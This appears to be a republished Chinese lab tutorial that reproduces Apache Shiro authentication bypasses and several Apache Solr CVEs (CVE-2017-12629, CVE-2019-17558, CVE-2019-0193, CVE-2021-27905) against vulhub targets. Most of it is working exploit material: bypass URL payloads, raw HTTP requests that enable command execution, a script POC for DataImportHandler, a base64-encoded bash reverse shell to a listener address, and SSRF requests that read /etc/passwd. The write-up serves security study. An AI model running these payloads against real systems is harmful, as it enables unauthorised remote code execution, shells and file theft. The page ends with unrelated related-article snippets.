框架安全-CVE 复现Apache ShiroApache Solr漏洞复现

文章目录

  • 服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现
    • 中间件列表
    • 常见开发框架
    • Apache Shiro-组件框架安全
      • 暴露的安全问题
      • 漏洞复现
        • Apache Shiro认证绕过漏洞(CVE-2020-1957)
        • CVE-2020-11989验证绕过漏洞
        • CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现
    • Apache Solr-组件框架安全
      • 披露的安全问题
      • 漏洞复现
        • Apache Solr 远程命令执行漏洞(CVE-2017-12629)
        • 任意文件读取&&命令执行(CVE-2019-17558)
        • 远程命令执行漏洞(CVE-2019-0193)
        • Solr 任意文件读取&& SSRF (CVE-2021-27905)

服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现

中间件列表

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

常见开发框架

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

Apache Shiro-组件框架安全

详解:shiro(java安全框架)

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

暴露的安全问题

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞[CVE-2016-4483]

Apache Shiro < 1.3.2 验证绕过漏洞[CVE-2016-2807]

Apache Shiro < 1.4.2 cookie oracle padding 漏洞 [CVE-2019-12442]

Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]

Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]

Apahce Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]

Apahce Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]

漏洞复现

Apache Shiro认证绕过漏洞(CVE-2020-1957)

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。

在 1.5.2 之前的带有 Spring 动态控制器的 Apache Shiro 版本中,攻击者可以使用来构建恶意构建的请求,从而绕过目录身份验证。..;

影响范围:Apache Shiro < 1.5.3

靶场:vulhub

参考:Apache Shiro认证绕过漏洞(CVE-2020-1957)复现

image-20231101192439122

开启环境:

image-20231101192502205

访问web界面:

image-20231101192959610

对管理页面的直接请求是不可访问的,将被重定向到登录页面。/admin/

image-20231101193234327

构建恶意请求以绕过身份验证检查并访问管理页面。

payload:/xxx/..;/admin/

http://you-ip:8080/xxx/..;/admin/

image-20231101193955747

CVE-2020-11989验证绕过漏洞

将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

靶场:vulfocus

开启环境:

image-20231101194544417

访问web界面:

image-20231101194608571

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1

环境可能存在问题,没能跳转绕过。可使用github上的项目进行测试。

项目地址:shiro-cve-2020-17523

下载完成过后构建即可。具体可参考说明文档。

CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现

漏洞原理以及复现过程:

shiro反序列化漏洞Shiro-550/Shiro-721反序列化

Apache Solr-组件框架安全

详解:Solr详解

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和
Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全
文搜索服务器。

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

披露的安全问题

远程命令执行 RCE(CVE-2017-12629)

远程命令执行 XXE(CVE-2017-12629)

任意文件读取 AND 命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF (CVE-2021-27905)

漏洞复现

Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

环境:vulhub

参考:CVE-2017-12629-RCE复现

开启环境:

image-20231101222834141

访问web界面:

image-20231101222819143

利用:

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

//数据包内容:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 161{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}}

image-20231101232327085

然后进行update操作,触发刚才添加的listener:

//数据包内容:
POST /solr/demo/update HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Type: application/json
Content-Length: 15[{"id":"test"}]

image-20231101232347574

验证:

docker ps 查看容器id
docker exec -it 容器id bash

成功创建

image-20231101232438036

可将命令换成反弹shell命令,进行反弹shell,逻辑思路不变,命令需要进行base64编码。

任意文件读取&&命令执行(CVE-2019-17558)

Solr 是基于 Apache Lucene(TM) 构建的流行、超快的开源企业搜索平台。

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

靶场:vulfocus

开启环境:

image-20231101233449597

访问web界面:

image-20231101233656994

手工复现参考:通过 Velocity 自定义模板的 Apache Solr 远程代码执行

脚本工具:EXP地址

脚本一步到位,命令执行:

python2 solr_rce.py http://192.168.100.134:14226 id

image-20231101233813184

python2 solr_rce.py http://192.168.100.134:14226 whoami

image-20231101233907600

读取/查看文件:

python2 solr_rce.py http://192.168.100.134:14226 "cat /etc/passwd"

image-20231101234511512

远程命令执行漏洞(CVE-2019-0193)

Apache Solr < 8.2.0 版本

Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。 它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

靶场:vulhub

参考:Apache Solr 远程命令执行漏洞(CVE-2019-0193)复现

image-20231102001304699

开启环境:

image-20231102011348963

访问web界面:

image-20231102011410713

刚上来需要进行登录,需要登录之后的状态才可以。

执行命令:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

命令执行成功后,需要等待一会,之后访问即可查看到Apache solr的管理页面,无需登录。

image-20231102011626162

接下来,首先打开刚刚创建好的核心,选择Dataimport功能并选择debug模式:

image-20231102011813500

填入以下POC:test

<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

点击Execute with this Confuguration执行

image-20231102011901380

执行过后,等待一下:

image-20231102012208751

验证:

docker ps
docker exec -it 容器id bash

成功创建

image-20231102012058165

可将命令换成反弹shell命令,需要进行base64编码,尝试反弹:

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
编码后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

POC:

<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

监听端开启监听

nc -lvvp 8888

执行过后,稍等一下:

image-20231102012636840

image-20231102012853004

成功反弹shell:

image-20231102012606940

Solr 任意文件读取&& SSRF (CVE-2021-27905)

Apache Solr 是一个开源搜索服务器。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。当 Apache Solr 不启用身份验证时,攻击者可以直接构建请求以启用特定配置,并最终导致 SSRF 或任意文件读取。

靶场:vulhub

参考:Apache Solr RemoteStreaming 任意文件读取和 SSRF

开启环境:

image-20231102004831363

访问web界面:

image-20231102004915771

利用:

//首先,访问提取数据库名称:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

image-20231102004945140

发送如下请求,修改数据库配置启用:demo RemoteStreaming

//数据包如下:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

发送数据包:

image-20231102010042883

然后通过以下方式读取任意文件:stream.url

//curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump param=ContentStreams&stream.url=file:///etc/passwd'curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"

成功读取:

image-20231102010302668

image-20231102010217678

查看组信息:

curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/group"

image-20231102010425588


其他开发框架安全问题以及漏洞复现可参考:
框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/178673.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分享者 - 携程旅游创作者搬砖项目图文教程

大家好&#xff01;携程这个出行旅游平台相信大家都不陌生吧。 每天都有大量的旅客在里面浏览攻略&#xff0c;寻找灵感和旅游建议。 那么&#xff0c;我们的项目就是把一些优质的小红书平台上的旅游攻略或作品&#xff0c;经过处理后搬运到携程平台上发布。 这个项目如何操作呢…

06_es分布式搜索引擎2

一、DSL查询文档 1.DSL查询分类 ①查询所有&#xff1a;match_all ②全文检索&#xff1a;利用分词器对用户输入的内容分词&#xff0c;倒排索引去匹配 match_query multi_match_query ③精确查询&#xff1a;根据精确词条查找数据&#xff0c;查找的是keyword,数值,日期,b…

掌握口才与演讲技巧,让你职场中脱颖而出

在职场竞争日趋激烈的今天&#xff0c;口才和演讲能力已经成为一个人成功的重要标志之一。掌握了优秀的口才与演讲技巧&#xff0c;不仅可以帮助你在工作中更好地表达自己和传达信息&#xff0c;同时也可以让你在同事和上级心中留下深刻印象&#xff0c;从而在职场中脱颖而出&a…

JVM修炼印记之初识

文章目录 JVM认识JVM的功能常见JVMHotSpot的发展历程 JVM认识 Java虚拟机&#xff08;Java Virtual Machine&#xff0c;JVM&#xff09;是一个用于执行Java字节码的虚拟计算机。它是Java语言的核心&#xff0c;可以在不同的操作系统和硬件平台上运行Java程序。 JVM负责将Java…

C++——类和对象(中)完结

赋值运算符重载 运算符重载 C 为了增强代码的可读性引入了运算符重载 &#xff0c; 运算符重载是具有特殊函数名的函数 &#xff0c;也具有其 返回值类型&#xff0c;函数名字以及参数列表&#xff0c;其返回值类型与参数列表与普通的函数类似。 函数名字为&#xff1a;关键…

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过&#xff08;ctfshow web入门370&#xff09;-CSDN博客 ssti板块注入 正好不会 {%%}的内容 学习一下 经过测试 发现过滤了 {{}} 那么我们就开始吧 我们可以通过这个语句来查询是否存在ss…

【实战Flask API项目指南】之六 数据库集成 SQLAlchemy

实战Flask API项目指南之 数据库集成 本系列文章将带你深入探索实战Flask API项目指南&#xff0c;通过跟随小菜的学习之旅&#xff0c;你将逐步掌握 Flask 在实际项目中的应用。让我们一起踏上这个精彩的学习之旅吧&#xff01; 前言 在上一篇文章中&#xff0c;我们实现了…

【Linux笔记】Linux进程概念与进程状态

【Linux笔记】Linux进程概念与进程状态 一、什么是进程1.1、进程的概念1.2、进程的描述 二、关于进程的一些基本操作2.1、查看进程2.2、杀进程2.3、获取进程id2.4、创建进程 三、进程状态3.1、普适操作系统中的进程状态3.2、具体到Linux操作系统中的进程状态 四、僵尸进程和孤儿…

SpringMVC简单介绍与使用

目录 一、SpringMVC介绍 二、SpringMVC作用 三、SpringMVC核心组件 四、SpringMVC快速体验 一、SpringMVC介绍 Spring Web MVC是基于Servlet API构建的原始Web框架&#xff0c;从一开始就包含在Spring Framework中。正式名称“Spring Web MVC”来自其源模块的名称&#xff…

数据库概论

目录 什么是数据库数据库的概念模型层次模型网状模型关系模型 为什么要使用关系型数据库完整性约束结构化查询语言SQL基本语句 什么是数据库 考虑这些问题&#xff1a;当用户使用软件计算时&#xff0c;如果想要保存计算结果或者想选择不同的题目&#xff0c;是否要保存、读取…

多特征线性回归模型

一、预测目标和原始数据展示 (一)预测目标: 通过Economy..GDP.per.Capita.(GDP)和Freedom预测Happiness.Score (二)部分数据展示: 特征有很多&#xff0c;本文研究Economy..GDP.per.Capita.(GDP)和Freedom&#xff0c;也就是用Economy..GDP.per.Capita.(GDP)和Freedom预测Happ…

[计算机提升] Windows系统软件:娱乐类

3.3 系统软件&#xff1a;娱乐类 3.3.1 Windows Media Player&#xff1a;dvdplay Windows Media Player是Windows操作系统自带的多媒体播放软件&#xff0c;用于播放和管理电脑中的音频和视频文件。它提供了以下功能&#xff1a; 播放音频和视频文件&#xff1a;Windows Med…

OpenGL_Learn04

我这边并不是教程&#xff0c;只是学习记录&#xff0c;方便后面回顾&#xff0c;代码均是100%可以运行成功的。 1. 渐变三角形 #include <glad/glad.h> #include <GLFW/glfw3.h>#include <iostream> #include <cmath>void framebuffer_size_callba…

修改element组件库的el-input-number的图标

官方样式&#xff1a; 我希望组件的图标改成一对上下是三角形的图标&#xff1a; 直接复制以下代码&#xff1a; ::v-deep .el-icon-arrow-down:before {content: "\e790"; } ::v-deep .el-icon-arrow-up:before {content: "\e78f"; } 完成&#xff01…

2021-arxiv-GPT Understands, Too

2021-arxiv-GPT Understands, Too Paper&#xff1a; https://arxiv.org/abs/2103.10385 Code&#xff1a; https://github.com/THUDM/P-tuning Prompt 简单理解 举例来讲&#xff0c;今天如果有这样两句评论&#xff1a; 1. 什么苹果啊&#xff0c;都没有苹果味&#xff0c…

ViT Vision Transformer超详细解析,网络构建,可视化,数据预处理,全流程实例教程

关于ViT的分析和教程&#xff0c;网上又虚又空的东西比较多&#xff0c;本文通过一个实例&#xff0c;将ViT全解析。 包括三部分内容&#xff0c;网络构建&#xff1b;orchview.draw_graph 将网络每一层的结构与输入输出可视化&#xff1b;数据预处理。附完整代码 网络构建 …

偶数矩阵判断【C语言作业】

题目 若一个布尔矩阵所有行和所有列的和都是偶数&#xff0c;则称为偶数矩阵。请编写一个程序&#xff0c;判断一个布尔矩阵是否是偶数矩阵。 要求&#xff1a; &#xff08;1&#xff09;输入:首先输入一个正整数n(n<100),代表该矩阵的大小&#xff0c;接下来是n行n列的矩…

第5天:基础入门-资产架构amp;端口amp;应用amp;CDNamp;WAFamp;站库分离amp;负载均衡

第5天&#xff1a;基础入门-资产架构&端口&应用&CDN&WAF&站库分离&负载均衡 #知识点&#xff1a;1. 资产架构-端口&目录&插件接口&多站点&多应用 2. 番外安全-域名&服务器本身&服务厂商&管理人员 3. 考虑阻碍-站库分离&am…

c++-AVL树

文章目录 前言一、AVL树1、AVL树概念2、AVL树模拟实现3、AVL树的旋转操作3.1 左单旋3.2 左单旋代码实现3.3 右单旋3.4 右单旋代码实现。3.5 什么时候调用左单旋和右单旋3.6 左右双旋3.7 左右双旋代码实现3.8 右左双旋3.9 右左双旋代码实现3.10 什么时候调用左右双旋和右左双旋 …

Kafka - 监控工具 Kafka Eagle:实时洞察Kafka集群的利器

文章目录 引言Kafka Eagle简介Kafka Eagle的特点Kafka Eagle的优势使用Kafka Eagle的步骤结论 引言 在现代大数据架构中&#xff0c;Apache Kafka已成为一个不可或缺的组件&#xff0c;用于可靠地处理和传输大规模的数据流。然而&#xff0c;随着Kafka集群规模的不断增长&…